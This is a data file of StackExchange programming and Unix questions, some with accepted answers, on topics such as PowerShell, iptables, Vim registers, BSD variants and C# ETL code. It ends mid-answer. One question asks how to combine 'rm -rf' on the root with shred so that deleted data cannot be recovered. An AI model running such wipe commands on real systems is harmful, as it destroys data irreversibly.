{  "id": "_codereview.161691"  , "question": "I am currently using the following query to add a specific row (with 10 columns) from an Excel spreadsheet (~1500 rows and hosted on SharePoint - I've also tested locally with the same issue) to an array in PowerShell.$connection = New-Object System.Data.OleDb.OleDbConnection$connectstring = Provider=Microsoft.ACE.OLEDB.12.0;Data Source=$Source;Extended Properties='Excel 12.0 Xml;HDR=YES'; $connection.ConnectionString = $connectstring$connection.open()$cmdObject = New-Object System.Data.OleDb.OleDbCommand$query = Select * from [Sheet1$] WHERE [Sheet1$].[Test] = '$Test'$cmdObject.CommandText = $query$cmdObject.CommandType = Text$cmdObject.Connection = $connection$oReader = $cmdObject.ExecuteReader()[void]$oReader.Read()    $Global:oData = New-Object PSObject    $oData | Add-Member NoteProperty List1    $oReader[0]    ...    $oData | Add-Member NoteProperty List10   $oReader[9]$oReader.Close()$cmdObject.Dispose()$connection.Close()$connection.Dispose()This works absolutely fine, however, it is often quite slow. Is there any way in which I could speed up the query? I can't add the entire Excel sheet into an array, as the data changes throughout the day and is queried regularly.I've found other questions, such as this one. However, that doesn't seem relevant to this particular issue."  , "title": "Excel query within PowerShell"  , "tags": "performance;excel;powershell;sharepoint"  } 
{  "id": "_softwareengineering.131698"  , "question": "I am working on an issue where the exception only occurs in our production environment. I don't have access to these environments, nor do I know what this exception means. Looking at the error description, I'm unable to understand the cause.javax.net.ssl.SSLHandshakeException: Received fatal alert: handshake_failureWould someone please advise me on how to approach this kind of problem?"  , "title": "How can I debug exceptions that are not easily reproducible and only occur in a production environment?"  , "tags": "exceptions"  , "accepted_answer": "In general, better debug logging.  Figure out what you want to know, add it to the code, and have that in the logs so that you can work it out.  Capturing more details of the environment at the time also help - what request, when, etc.In specific, I would look for a common pattern in clients hitting this - and if you found one optimise - but then go and capture the TCP layer traffic.Looking at the SSL messages exchanged should give you some idea what is going wrong in the protocol, or at least what the common properties of the request are.  Once you have that it should be closer to being debugged.As a guide, I would guess this comes from one of three things:Something that isn't SSL talked to the SSL port.  (port scans are common, but HTTP to the HTTPS port also happens.)The client doesn't share an acceptable set of ciphers with the server.The client offers a certificate, and the server has a hissy-fit.  (Uncommon, but possible.)"  } 
{  "id": "_unix.147857"  , "question": "Supervisord is running on centos server. If I dops -e -o %mem,%cpu,cmd | grep supervisord | awk '{memory+=$1;cpu+=$2} END {print memory,cpu}'I get 0 0 just because supervisord is just an initialization daemon. It runs four child processes on my server:# pgrep -P $(pgrep supervisord) | wc -l4How can I find summarized CPU and mem usage of these child processes in one-line-command?Thanks"  , "title": "How to find the cpu and memory usage of child processes"  , "tags": "shell;centos"  } 
{  "id": "_vi.6697"  , "question": "If I have the following text:foobarI visually select it and copy it.The text is now stored in the unnamed register  and here is its contents (output of :reg ):   foo^Jbar^JAccording to this chart, it seems ^J is the caret notation for a Line Feed.  If I want to duplicate the unnamed register in the a register by typing: :let @a = @Here is its contents (output of :reg a):  a   foo^Jbar^JIt didn't change.If I now duplicate it in the search register by typing :let @/ = @, here is its contents (output of :reg /):/   foo^@bar^@According to the previous chart, it seems ^@ is the caret notation for a Null character.Why is a Line Feed automatically converted into a Null character inside the search register (but not the a register)?If I insert the unnamed register on the command line (or inside a search after /), by typing :<C-R>, here is what is inserted::foo^Mbar^MAgain, according to the last chart, ^M seems to be the caret notation for a Carriage Return.Why is a Line Feed automatically converted into a Carriage Return on the command line?Edit:  Usually you can insert a literal control character by typing:<C-V><C-{character in caret notation}> For example, you can insert a literal <C-R> by typing <C-V><C-R>.You can do it for seemingly any control character.However I've noticed that I'm unable to insert a literal LF inside a buffer or on the command line, because if I type: <C-V><C-J> it inserts ^@, a null character, instead of ^J.Is it for the same reason a LF is converted into NUL inside the search register?Edit 2:In :h key-notation, we can read this:<Nul>       zero            CTRL-@    0 (stored as 10) <Nul><NL>        linefeed        CTRL-J   10 (used for <Nul>)The stored as 10 part on the first line and used for <Nul> on the second line could indicate that there's some sort of overlap between a LF and a NUL, and that they could be interpreted as the same thing. But they can't be the same thing, because after executing the previous command :let @/ = @, if I type n in normal mode to get to the next occurrence of the 2 lines foo and bar, instead of getting a positive match, I have the following error message:  E486: Pattern not found: foo^@bar^@Besides this link seems to explain that a NUL denotes the end of a string, whereas a LF denotes the end of a line in a text file.And if a NUL is stored as 10 as the help says, which is the same code as for a LF, how is Vim able to make the difference between the 2?Edit 3:Maybe a LF and a NUL are coded with the same decimal code, 10, as the help says. And Vim makes the difference between the 2 thanks to the context. If it meets a character whose decimal code is 10 in a buffer or any register, except the search and command registers, it interprets it as a LF.But in the search register (:reg /) it interprets it as a NUL because in the context of a search, Vim only searches for a string where the concept of end of line in a file doesn't make sense because a string is not a file (which is weird since you can still use the atom \\n in a searched pattern, but maybe that's only a feature of the regex engine?). So it automatically interprets 10 as a NUL because it's the nearest concept (end of string end of line).And in the same way, on the command line / command register (:reg :) it interprets the code 10 as a CR, because the concept of end of line in a file doesn't make sense here. The nearest concept is end of command so Vim interprets 10 as a CR, because hitting Enter is the way to end/execute a command and a CR is the same as hitting Enter, since when you insert a literal one with <C-V><Enter>, ^M is displayed.Maybe the interpretation of the character whose code is 10 changes according to the context:  end of line in a buffer (^J)end of string in a search (^@)end of command on the command line (^M)"  , "title": "Why is a Line Feed converted into a Null character inside the search register and into a Carriage Return on the command line?"  , "tags": "search;register;line breaks"  } 
{  "id": "_unix.106841"  , "question": "I am not sure what's wrong with my rule in the Iptables. I am actually trying to build a SSH server and following a cyberciti tutorial.My Iptables configuration looks like this:# Firewall configuration written by system-config-firewall# Manual customization of this file is not recommended.*filter:INPUT ACCEPT [0:0]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [0:0]-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT-A INPUT -p icmp -j ACCEPT-A INPUT -i lo -j ACCEPT-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT-A INPUT -j REJECT --reject-with icmp-host-prohibited-A FORWARD -j REJECT --reject-with icmp-host-prohibitedCOMMIT-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPTWhen I restart of iptables, this is the transcript:[root@localhost raja]# service iptables restartiptables: Setting chains to policy ACCEPT: filter          [  OK  ]iptables: Flushing firewall rules:                         [  OK  ]iptables: Unloading modules:                               [  OK  ]iptables: Applying firewall rules: iptables-restore: line 14 failed                                                           [FAILED][root@localhost raja]#I tried placing COMMIT at the end, but it didn't help:[root@localhost raja]# cat /etc/sysconfig/iptables# Firewall configuration written by system-config-firewall# Manual customization of this file is not recommended.*filter:INPUT ACCEPT [0:0]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [0:0]-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT-A INPUT -p icmp -j ACCEPT-A INPUT -i lo -j ACCEPT-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT-A INPUT -j REJECT --reject-with icmp-host-prohibited-A FORWARD -j REJECT --reject-with icmp-host-prohibited-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPTCOMMIT[root@localhost raja]# service iptables restartiptables: Setting chains to policy ACCEPT: filter          [  OK  ]iptables: Flushing firewall rules:                         [  OK  ]iptables: Unloading modules:                               [  OK  ]iptables: Applying firewall rules: iptables-restore: line 13 failed                                                           [FAILED][root@localhost raja]#What's wrong?I am using CentOS 32-bit."  , "title": "iptables-restore just says FAILED"  , "tags": "centos;iptables"  , "accepted_answer": "The rule -A RH-Firewall-1-INPUT  adds a rule to the chain called RH-Firewall-1-INPUT, but there is no prior line that creates this chain.This is not the output from iptables-save. I don't recommend writing an iptables rule file manually (which makes this tutorial dubious; I haven't looked at it further). Use iptables to create and manipulate rules. When you're satisfied with the state of the system, run iptables-save to save it to a file, and don't edit that file."  } 
{  "id": "_softwareengineering.215382"  , "question": "I want to create a web/browser-based GUI for a command-line python application. The goal is to make use of HTML/JS technologies to create this GUI. As the application itself, it needs to run on Linux and Windows, and the interface will be accessible only from localhost (not exposed to internet). The GUI will contain 5 to 10 pages. I don't want a traditional desktop GUI that includes HTML/JS, but just a bunch of html files and some kind of controller between those and the application.I also want to make use of asynchronous programming (ajax like) so I can load and print data in the GUI without refreshing the whole page. I'd probably use jQuery for that and a couple other things.  How would you recommend to design this? Performance is not the key here, I'm rather looking at reliability, portability and simplicity.I'm thinking of using a lightweight python HTTP server / framework (like CherryPy) and maybe later a Python templating system (at the begining it will just be a couple pages).EDIT:I'm looking for ideas/recommendations how to build this, not for alternatives to browser/web-based GUI. "  , "title": "Browser-based GUI for a python application"  , "tags": "design;python;web applications;gui;browser"  } 
{  "id": "_codereview.18748"  , "question": "I am writing a simple-ish c# CLI app to improve our telephony reporting system. At present, I have a nightly DTS package which dumps a couple of tables from the Cisco telephony box into a database on our corporate cluster. An hour later, I have a SQL Server Agent job that runs a variety of messy stored procedures to generate queue level statistics. I was advised by a telephony consultant to do it this way, but have never been 100% happy with it, due to the lack or error handling.I have found 6 stored procedures on the uccx Cisco telephony box, which are used by the Historical Cisco Reporting application. These contain a lot more statistics than I can currently provide.So... my plan is as follows:Get a list of current queue names, including their open and close times from a SQL Server tableRun a stored procedure x amount of times, once for each queue, passing in the parameters from step 1For each row generated from the stored procedure in step 2, write a row in a table on the SQL Server clusterDo this for each stored procedure.My code, which works for one of the stored procedures is here.  It is very very basic, with poor errrmmm everything ha. I want to make this a bit more OO, remove duplicate code, and make it a bit better but I am not too great at that. I can code, but not at a very advanced standard.Any advice on how to tackle this beast? I am willing to learn new techniques, and am willing to chuck out what I've done thus far and start again. I really need to skill up, as I'll be getting more projects in a similar veinThanks guys and gals!I have two classes, the main class and the logFile class:using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.IO;using System.Configuration;namespace UCCXtoSQL{public static class LogFile{    public static void write(string logMessage)    {        string message = string.Empty;        string logFileLocation = @C:\\debug\\UCCXtoSQL.log;        StreamWriter logWriter;        message = string.Format({0}: {1}, DateTime.Now, logMessage);        if (!File.Exists(logFileLocation))        {            logWriter = new StreamWriter(logFileLocation);        }        else        {            logWriter = File.AppendText(logFileLocation);        }        logWriter.WriteLine(message);        logWriter.Close();    }   }}Main:using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Data;using System.Data.Sql;using System.Data.SqlClient;using System.Data.SqlTypes;namespace UCCXtoSQL{class Program{    static void Main(string[] args)    {        getData();    }    static void getData()    {        string connString = @Data Source=uccx-pri\\crssql;Initial Catalog=db_cra;Integrated Security=SSPI;;        string sql2k5ConnString = @Data Source=sql2k5;Initial Catalog=db_cra;User Id=sqlsupport;Password=blahblahblah;;        string procedure = @sp_csq_activity;        int id = 0;        //string queueName = @|CSQ-SHG01;        SqlConnection conn = new SqlConnection(connString);        SqlConnection sql2k5conn = new SqlConnection(sql2k5ConnString);        DataTable csq = getCSQTable(sql2k5conn);        foreach (DataRow row in csq.Rows)        {            id++;            string name = row[CSQName].ToString();            string open = row[CSQOpen].ToString();            string close = row[CSQClose].ToString();            string format = yyyy-MM-dd ;            DateTime today = DateTime.Now.Date.AddDays(-1);            Console.WriteLine(id +   + name);            LogFile.write(id +   + name);            string paramstart = (today.ToString(format) + open);            string paramend = (today.ToString(format) + close);            Console.WriteLine(Queue open:  + paramstart);            Console.WriteLine(Queue close:  + paramend);            //var Open = TimeSpan.Parse(row[CSQOpen].ToString());            //string statsDate = DateTime.Now.ToShortDateString();             //string newDateTime = statsDate + Open;            //Console.WriteLine(Converted  + newDateTime);            csqActivity(paramstart, paramend, procedure, name, conn, sql2k5conn);        }    }    private static void csqActivity(string pstart, string pend, string procedure, string queueName, SqlConnection conn, SqlConnection sql2k5conn)    {        try        {            queueName = @| + queueName;            SqlDataAdapter da = new SqlDataAdapter();            da.SelectCommand = new SqlCommand(procedure, conn);            da.SelectCommand.CommandType = CommandType.StoredProcedure;            //da.SelectCommand.Parameters.Add(new SqlParameter(@starttime, 2012-11-08 08:30:00));            //da.SelectCommand.Parameters.Add(new SqlParameter(@endtime, 2012-11-08 17:15:00));            da.SelectCommand.Parameters.Add(new SqlParameter(@starttime, pstart));            da.SelectCommand.Parameters.Add(new SqlParameter(@endtime, pend));            da.SelectCommand.Parameters.Add(new SqlParameter(@csqlist, queueName));            DataSet ds = new DataSet();            da.Fill(ds, result_name);            DataTable dt = ds.Tables[result_name];            foreach (DataRow row in dt.Rows)            {                //Console.WriteLine(row[CSQ_Name]);                Console.WriteLine(Queue: {0} - Presented: {1}, row[CSQ_Name], row[Calls_Presented]);                LogFile.write(Queue:  + row[CSQ_Name]);                LogFile.write(Presented:  + row[Calls_Presented]);                InsertRecord(sql2k5conn, row, pstart, pend, queueName);            }        }        catch (Exception e)        {            Console.WriteLine(Error:  + e);            LogFile.write(Error:  + e);        }        finally        {            Console.WriteLine(Done);            conn.Close();        }    }    private static void InsertRecord(SqlConnection sql2k5conn, DataRow row, string start, string end, string queue)    {        try        {            DateTime startdate = Convert.ToDateTime(start);            DateTime endDate = Convert.ToDateTime(end);            sql2k5conn.Open();            SqlCommand sql2k5comm = new SqlCommand(insert_csq_activity, sql2k5conn);            sql2k5comm.CommandTimeout = 0;            sql2k5comm.CommandType = CommandType.StoredProcedure;            //sql2k5comm.Parameters.Add(new SqlParameter(/*PARAMNAME*/,/*PARAM*/);            sql2k5comm.Parameters.Add(new SqlParameter(@CSQ_Name, row[CSQ_Name]));            //sql2k5comm.Parameters.Add(new SqlParameter(@CSQ_Name, queue));            sql2k5comm.Parameters.Add(new SqlParameter(@Call_Skills, row[Call_Skills]));            sql2k5comm.Parameters.Add(new SqlParameter(@Calls_Presented, row[Calls_Presented]));            sql2k5comm.Parameters.Add(new SqlParameter(@Avg_Queue_Time, row[Avg_Queue_Time]));            sql2k5comm.Parameters.Add(new SqlParameter(@Max_Queue_Time, row[Max_Queue_Time]));            sql2k5comm.Parameters.Add(new SqlParameter(@Calls_Handled, row[Calls_Handled]));            sql2k5comm.Parameters.Add(new SqlParameter(@Avg_Speed_Answer, row[Avg_Speed_Answer]));            sql2k5comm.Parameters.Add(new SqlParameter(@Avg_Handle_Time, row[Avg_Handle_Time]));            sql2k5comm.Parameters.Add(new SqlParameter(@Max_Handle_Time, row[Max_Handle_Time]));            sql2k5comm.Parameters.Add(new SqlParameter(@Calls_Abandoned, row[Calls_Abandoned]));            sql2k5comm.Parameters.Add(new SqlParameter(@Avg_Time_Abandon, row[Avg_Time_Abandon]));            sql2k5comm.Parameters.Add(new SqlParameter(@Max_Time_Abandon, row[Max_Time_Abandon]));            sql2k5comm.Parameters.Add(new SqlParameter(@Avg_Calls_Abandoned, row[Avg_Calls_Abandoned]));            sql2k5comm.Parameters.Add(new SqlParameter(@Max_Calls_Abandoned, row[Max_Calls_Abandoned]));            sql2k5comm.Parameters.Add(new SqlParameter(@Calls_Dequeued, row[Calls_Dequeued]));            sql2k5comm.Parameters.Add(new SqlParameter(@Avg_Time_Dequeue, row[Avg_Time_Dequeue]));            sql2k5comm.Parameters.Add(new SqlParameter(@Max_Time_Dequeue, row[Max_Time_Dequeue]));            sql2k5comm.Parameters.Add(new SqlParameter(@Calls_Handled_by_Other, row[Calls_Handled_by_Other]));            sql2k5comm.Parameters.Add(new SqlParameter(@CSQ_StartDateTime, startdate));            sql2k5comm.Parameters.Add(new SqlParameter(@CSQ_EndDateTime, endDate));            sql2k5comm.ExecuteNonQuery();        }        catch (Exception e)        {            Console.WriteLine(Error:  + e);            LogFile.write(Error:  + e);        }        finally        {            sql2k5conn.Close();        }    }    static DataTable getCSQTable(SqlConnection connection)    {        SqlDataAdapter da = new SqlDataAdapter();        da.SelectCommand = new SqlCommand(get_csqnames, connection);        da.SelectCommand.CommandType = CommandType.StoredProcedure;        DataSet ds = new DataSet();        da.Fill(ds, csqTable);        DataTable dt = ds.Tables[csqTable];        return dt;    }}}"  , "title": "How to dump UCCX stored procedure results via c# to SQL Server"  , "tags": "c#;sql;sql server"  , "accepted_answer": "Your task falls into ETL (Extract-Tranform-Load) category, and SQL Server Integration Services (SSIS) is the service dedicated to ETL. You can actually implement all the processing described here using the SSIS package (next version of DTS), at it might result in faster and more reliable solution because SSIS uses stream-based processing and optimised interaction with SQL Server.If you still want to use .NET app to do the transfer then suggestion will vary depending on how much data do you need to transfer, and how likely you would need to maintain this solution in the future.If data volume is not large (i.e. less than a couple of thousands records) then you can keep using DataTables, otherwise it would be better to switch to streaming techniques (process the data while you load it)If it's a one-time implementation then usually it's not worth investing lots of efforts into clean design as long as program does the job.Since you've asked for suggestions to clean up the code, here is my list of what I would do with it:Apply .NET naming conventions (don't use Hungarian notation in particular).write method: use the using keyword for all disposable objects (StreamWriter) + you can initialise logWriter with a single line:public static void Write(string logMessage){    const string logFileLocation = @C:\\debug\\UCCXtoSQL.log;    using (var logWriter = new StreamWriter(logFileLocation, true))    {        logWriter.WriteLine(string.Format({0}: {1}, DateTime.Now, logMessage));    }}Replace DataSet/DataTable with Entity Framework - that's the biggest change since it will remove all the manual SqlCommand/SqlConnection/DataTable/DataSet/DataAdapter processing in favor of typed data objects. Read more on Entity Framework Replace your custom LogFile logging class with logging framework (log4net, NLog)."  } 
{  "id": "_unix.186172"  , "question": "I am trying to implement synproxy to my firewall, on a bridge interface (between eth1 and eth2). Here are my rules:/usr/local/sbin/iptables -t raw -i PREROUTING -i br0 -m physdev --physdev-in eth1 -p tcp -m tcp --syn -j CT --notrack/usr/local/sbin/iptables -A FORWARD -i br0 -m physdev --physdev-in eth1 -p tcp -m tcp -m state --state INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460echo 0 > /proc/sys/net/netfilter/nf_conntrack_tcp_looseI have a client connecting to eth1 and http server (192.168.0.1) connecting to eth2.With these rules, when I try to run curl 192.168.0.1 from the client I got timeout. It seems that the normal tcp request would not pass through. When I run tcpdump on br0 I don't see any syn-ack and ack packets. Seems all syn packets got lost in the synproxy target.Any ideas? "  , "title": "synproxy on a bridge"  , "tags": "linux;bridge"  } 
{  "id": "_unix.30741"  , "question": "... and what are the differences between them? I formulated my question like this to make it clear I'm not interested in a flamewar of opinions, rather in an objective comparison between the different flavors of BSD Unix. Ideally I could get feedback from users who have experience in all of them.BackgroundI recently discovered that there's much more to Unix than merely Linux. I use Solaris at work, it opened my eyes. Now I'm interested in new unices, I want to try a new one and I'm naturally curious about BSDs. The problemI'm not asking for advice or opinions on what BSD to install; I want to know the differences (and common points) between them so I can make up my own mind. The problem is that it's difficult to get proper comparisons between them.If you're lucky, you get some hasty definition like this one:FreeBSD = Popular all-rounder.NetBSD = Portable (runs on a lot of platforms, including a toaster)OpenBSD = Security above anything else.(It might be true, but it's not really useful. I'm sure FreeBSD is portable and secure as well ...)If you're unlucky you get caught in one of those inevitable Unix legends about projects splitting, forking, rebranding on intellectual/moral grounds, how Theo de Raadt is an extremist and how MacOS X and FreeBSD had a common ancestor over 20 years ago.Fascinating, but not really informative, is it?The BSDsThe BSDs I am interested in are:FreeBSDOpenBSDNetBSDand optionallyDragonflyDarwin...My questionsIn order to understand the differences better, here's a list of somewhat related questions about the different distributions (can we use this term?). If you present your answer under some form of tabular data, you are my all-time hero!Do they use the same kernel?Do they use the same userland tools? (what are the differences, if any?)Do they use the same package/source management system?Do they use the same default shell? Are binaries portable between them?Are sources portable between them?Do they use different directory trees?How big are their respective communities? Are they the same order of magnitude?How much of the current development is common?What are the main incompatibilities between them?I don't know how easy those questions are to answer, and how relevant to the StackExchange format this question really is. I just never came across a simple document listing the differences between BSDs in a clear way, useful for fairly experienced users to look at and make a choice easily."  , "title": "What do different BSDs have in common?"  , "tags": "distribution choice;bsd"  , "accepted_answer": "I don't think I will provide you and everyone with the perfect answer, however, using a BSD system everyday for work, I am sure I can give you a useful insight in the BSD world.I didn't ever use NetBSD, I won't talk a lot about it.Do they use the same kernel?No, although there are similarities due to the historic forks. Each project evolved separately.Do they use the same userland tools? (what are the differences, if any?)They all follow POSIX. You can expect a set of tools to have the same functionality between *BSD.It's also common to see some obvious differences in process/network management tools within the BSDs.Do they use the same package/source management system?They provide a packaging system, different for each OS.Do they use the same default shell?No, for example FreeBSD uses csh, OpenBSD uses ksh.Are binaries portable between them?No:(XXXX@freebsd-6 101)file `which ls`/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 5.5, dynamically linked (uses shared libs), strippedThey don't really support stable and fast binary emulation. Don't rely on it.Are sources portable between them?Some yes, as long as you don't use kernel code or libc code (which is tied up tightly to the OS) for example.Do they use different directory trees?No, they are very similar to Linux here.However FreeBSD advocates the use of /usr/local/etc for third party software's configuration files. OpenBSD puts all in /etc...They put all third party in /usr/local, whereas Linux distribution will do as they see fit. In general you can say that *BSD are very conservative about that, things belongs where they belongs, and that's not something to make up.How big are their respective communities? Are they the same order of magnitude?FreeBSD's is the largest and most active, you can reach it through a lot of different forums, mailing lists, IRC channels and such...OpenBSD has a good community but mostly visible through IRC and mailing lists.Actually if you think you need a good community, FreeBSD is the way to go.NetBSD and OpenBSD communities are centered around development, talk about new improvements etc. They don't really like to do basic user-support or advertising. They expect everyone to be advanced unix users and able to read the documentation before asking anything.How much of the current development is common?Due to really free licenses code can flow among the projects, OpenBSD often patches their code following NetBSD (as their sources have a lot in common), FreeBSD takes and integrates OpenBSD's Packet Filter, etc. It's obviously harder when it comes to drivers and others kernel things.What are the main incompatibilities between them?They are not compatible in a binary form, but they are mostly compatible in syntax and code. You can rely on that to achieve portability in your code. It will build or/and execute easily on all flavors of BSD, except if your going too close to the kernel (ifconfig, pfctl...).Here's how you can enjoy learning from the BSD world:Try to replace your home router with an openbsd box, play with pf and the network. You will see how easy it is to make what you want. It's clean, reliable and secure.Use a FreeBSD as a desktop, they support a lot of GPUs, you can use flash to some extent, there's some compatibility with Linux binaries. You can safely build your custom kernel (actually this is recommended). It's overall a good learning experience.Try NetBSD on very old hardware or even toasters.Although they are different, each of them tries to be a good OS, and it will match users more than situations. As a learning experience, try them all (Net/Open/Free), but later you might find yourself using only 1 for most situations (since you're more knowledgeable in a specific system or fit in more with the community).The other BSDs are hybrids or just slightly modified versions, I find it better to stay close to the source of the software development (use packet filter on OpenBSD, configure yourself your desktop on FreeBSD, ...).As a personal note, I'm happy to see an enthusiast like you, and I hope you will find a lot of good things in the BSD world. BSD is not about hating windows or other OSs, it's about liking Unix."  } 
{  "id": "_unix.191336"  , "question": "My task is simple:I need to able to delete the whole root which i can do with rm-rf ./* but the problem here is HFS recovery can get back the data since it is not actually deleted from diskif i use shred, how can i shred whole disk.How can i combine this two commands and make it work? even is it possible? is there some chance still data can be recovered ?Is there another way of filling the files with zeros or unwanted data (instead of shred) and then do a rm -rf ?Any help is appreciated."  , "title": "How to delete the whole root with rm rf and shred together?"  , "tags": "root;rm;deleted files;shred"  } 
{  "id": "_opensource.2026"  , "question": "I've read that the BSD-2 or Simplified BSD software license removes from the BSD-3 some language that is no longer necessary. Looking at the difference between these two licenses, it appears that this refers to Neither the name of [project] nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.In what sense is this language no longer necessary. Is this protection implicit because of some other statute or agreement?"  , "title": "What's no longer necessary about parts of BSD-3?"  , "tags": "licensing;bsd"  } 
{  "id": "_unix.377955"  , "question": "Sometimes rpmdb gets corrupted, usually due to some process dying. The fix is quite easy, simply run rpm --rebuilddb, maybe remove the lock and some other files.My question is, is there any way to check if the rpmdb is corrupted or not before trying to use it?Just to give some context, I am managing multiple machines and sometimes rpmdb gets corrupted - i'm looking for a simple way to check."  , "title": "Check rpmdb corruption"  , "tags": "fedora;rpm"  } 
{  "id": "_unix.316618"  , "question": "In a subfolder of my home dir, There is a file called '-r'-rw-r--r-- 1 pi pi 10240 Sep 15 18:19 ./prog_python/-rI don't even know why.I would like to rename the file or delete it, but nothing like rename '/-r' newName or rename '\\-r' newName works.Any advice ? Thanks !"  , "title": "how to rename of handle a '-r' named file?"  , "tags": "rename;escape characters"  } 
{  "id": "_unix.96324"  , "question": "I'm trying to add myself to the fuse user group but it doesn't look like the change is taking effect even though /etc/group looks correct after invoking addgroup or usermod.I've tried both ...sudo addgroup fjohnson fuseand sudo usermod -a -G fuse fjohnson/etc/group shows the changefuse:x:104:fjohnsonbut I can't read -rw-r----- 1 root fuse 215 Oct 16 10:39 /etc/fuse.confas cat: /etc/fuse.conf: Permission deniedand groups(1) returns fjohnson adm dialout cdrom plugdev lpadmin admin sambashare"  , "title": "Added user supplementary group, but 'groups(1)' not showing change"  , "tags": "users;group"  , "accepted_answer": "When you add a group to an user this one should logout/login in order change to take effect.You can also use newgrp command.  $ id  uid=1000(romain) gid=1000(romain) groups=1000(romain),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),105(scanner),110(bluetooth),112(netdev)  $ sudo addgroup romain fuse  Adding user `romain' to group `fuse' ...  Adding user romain to group fuse  Done.  $ id  uid=1000(romain) gid=1000(romain) groups=1000(romain),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),105(scanner),110(bluetooth),112(netdev)  $ newgrp fuse  $ id  uid=1000(romain) gid=103(fuse) groups=1000(romain),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),103(fuse),105(scanner),110(bluetooth),112(netdev)"  } 
{  "id": "_unix.31149"  , "question": "It looks like I can get to the waste-basket through nautilus, but when I look at the location given by properties, I see trash:///.But I can't cd trash:///. Where is the waste-basket? And in general, if I can find a file in nautilus, how do I get there from terminal? I've had some similar issues in the past with mounted media as well, so a general answer would be greatly appreciated.In case it is relevant, I'm using PinguyOS."  , "title": "How to find Nautilus wastebasket in the file system"  , "tags": "gnome;nautilus;trash"  , "accepted_answer": "trash:// is a protocol, not a location. A post on AskUbuntu says it should be in ~/.local/share/Trash. Try there."  } 
{  "id": "_unix.311313"  , "question": "I'm completely new to ubuntuI ordered my new notebook and chose one without an OS. It had a lite version of linpus installed when I got it but it seemed completely useless to me.So I followed a guide to install Linux Mint with a USB stick. the installation seemed to have worked perfectly, during the installation process I chose to disable secure boot and to format all of the disc. Of course after the installation it told me to restart, remove installation medium etc. I did that and all it displayed then was no bootable device.I tried rebooting but it was always the same game.I could boot via usb stick, start installation from scratch, but never reboot without the usb stick. I also switched between UEFI and legacy and played around with the booting priority order and found the secure boot was always enabled in UEFI, without the option to enable it. In legacy I couldn't even boot from the usb stick.Then I tried with Ubuntu mate but it's still the same issue.Here is my most recent boot repair report:http://paste2.org/pFB7gdW1Any ideas how I can get any ubuntu os to work? I'd be happy with pretty much any version at this point."  , "title": "Ubuntu Mate doesn't boot without usb stick after installation"  , "tags": "boot;startup;uefi"  } 
{  "id": "_softwareengineering.289930"  , "question": "I am currently planning an upcoming project and am looking for an algorithm for searching a database.The search is as follows;There will be some specifically labelled criteria (or fields) and I would like to find any objects in which its fields match the specified criteria. As well as this it needs to rank partial results based on the number matches for each field.Heres an example -Person 1Name: JohnOccupation: DeveloperFavourite Colour: BluePerson 2Name: JohnOccupation: ManagerFavourite Colour: BluePerson 3Name: JohnOccupation: DeveloperFavourite Colour: GreenPerson 4Name: LarryOccupation: MailmanFavourite Colour: RedSearch CriteriaName: JohnOccupation: DeveloperFavourite Colour: BlueResultsRank 1Person 1Rank 2Person 2Person 3The ranks would not be visible but would handle the order of the result list.  I could do this quite easily for a small data set, for example, JavaScript;results = [];for(var i = 0; i < objects.length; i++) {  var result = _.intersection(criteria, object[i]);  if(result.length > 0) {    object[i].rank = result.length;    results.push(object[i])  }}return results (and order by rank)Obviously this won't work when querying a db but I am hoping someone much smarter than me can point me in the right direction.I feel like there must be a solution to this out there and it's probably simple but my Google-fu is failing me."  , "title": "Looking for an Appropriate Search Algorithm"  , "tags": "algorithms;search"  } 
{  "id": "_codereview.19307"  , "question": "@implementation User- (void)refreshProperties{    assert(!self.isSyncing);    NetworkOperation *op = [[NetworkOperation alloc] initWithEndPoint:GetUserDetails parameters:nil];    [self setupCompletionForRefresh:op];    [self setNetworkOperation:op];    [self setSyncing:YES];    [[NetworkManager sharedManager] enqueueOperation:op];}The above code is used by a UIViewController subclass to update the properties of a User instance (i.e. the view controller calls [aUser refreshProperties] in pull-to-refresh).Concerted efforts have been made to make sure there are clear lines defining the separation of concerns:Network Operation class only deals with getting data from the networkNetwork Manager class deals with enqueuing operations and watchingreachabilityUser class houses the strings, numbers, bools, etc thatmake up a User instanceHowever, there are some problems with the above method. First and foremost is it's  hard to test. There isn't any way to mock a network operation or network manager and get them inside the method call without swizzling. Also, it couples the User class with the NetworkOperation and NetworkManager classes.While the above code works, I would like to refactor it.Looking through GoF, it looks like there are some ways to remove the dependency between User and Network-Operation/Manager: adapter, dependency inversion (using a protocol), etc. From what I can tell, that code would look something like:[aUser setNetworkOperation:<object conforming to protocol>];[aUser setNetworkManager:<object conforming to protocol>];[aUser refreshProperties];But... isn't this just shifting the dependency? The above calls would happen in the view controller, and now it has to know about and use three classes instead of just the main one it was originally concerned with - User.Thoughts, discussion, resources, or code examples are greatly appreciated!"  , "title": "Dependency Inversion / Injection? - Networking code in model classes"  , "tags": "objective c;ios"  , "accepted_answer": "git checkout -b fetch_remote_usersLet's start by reviewing the concerns we want the system to address. We will need:A place to store the set of attributes which define a user.A request (to some URI with some set of parameters) which defined how we can obtain an updated view of a user.A queue of requests to perform with the ability to suspend execution of those requests when the network is unavailable and retry network failures. We probably also want this queue to be an ordered set of requests so we can avoid enqueuing duplicate requests.A way to react to successful requests so that we can merge and persist the newly received set of User attributes.An interface to allow user interaction in some view to enqueue a new request and possibly to see some indication of the request's state (in progress, failed, finished).That's a reasonable number of concerns and it'll be easy to end up with a confused our tightly coupled design trying to express all of them but let's see what we can do.Starting with #1. We can define a User model to store our user attributes. It is likely that we'll find some behaviors which should also belong to this model but let's start simple.@interface User : 